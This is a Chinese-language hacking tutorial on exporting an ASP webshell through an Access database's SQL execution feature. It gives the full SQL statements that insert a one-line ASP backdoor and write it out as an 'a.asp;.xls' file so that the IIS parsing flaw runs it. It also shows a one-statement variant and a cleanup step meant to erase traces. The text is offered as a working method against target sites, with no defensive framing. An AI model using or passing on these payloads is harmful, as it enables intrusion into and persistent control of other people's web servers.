常有朋友咨询一个技术细节:如何通过Access数据库的SQL执行功能来导出WebShell?目前网上相关资料较少,本文将系统梳理核心思路与具体操作步骤。
首先来看第一组SQL语句,我们逐步拆解分析:
create table cmd (a varchar(50))
insert into cmd (a) values ('<%execute request("a")%>')
select * into [a] in 'f:\host\qhdyxt\web\a.asp;.xls' 'excel 4.0;' from cmd
drop table cmd
下面逐一解释每步的意图:
第一步,create table cmd (a varchar(50)),创建一张临时表,表名为cmd,仅包含一个字段a,数据类型为字符型,长度设为50。此步骤旨在临时存储后续数据。
第二步,insert into cmd (a) values ('<%execute request("a")%>'),向表cmd的a字段中插入一句话木马,密码为a。此处使用的是标准的ASP一句话木马格式。
第三步是关键步骤,select * into [a] in 'F:\jt\work\a.asp;.xls' 'excel 4.0;' from cmd,将表cmd中的数据导出到指定物理路径,生成一个Excel文件。为何选择Excel格式?因为Access数据库禁止直接导出危险格式(如.asp),但Excel格式能绕过这一限制。导出后,借助IIS解析漏洞(例如某些目录下.asp;.xls文件会被当作ASP脚本执行),即可使该文件成为WebShell小马。这一手法相当巧妙。
第四步,drop table cmd,删除临时表,清除操作痕迹,完成收尾。
如果后台具备SQL执行能力,且已知网站的绝对路径,还有更简洁的方法:
SELECT '<%execute request("a")%>' into [vote] in 'd:\web\x.asp;.xls' 'excel 8.0;' from vote
这种方式直接使用SELECT ... INTO语句,将一句话木马写入Excel文件,同样依赖IIS解析漏洞实现执行。前提是表vote必须存在,且服务器支持Excel 8.0驱动。
需要注意的是,该手法依赖两个必要条件:一是后台必须提供SQL语句执行功能,二是必须知晓网站的绝对路径。两者缺一不可。此外,不同版本IIS的解析漏洞表现可能存在差异,实际测试时建议先确认目标环境。
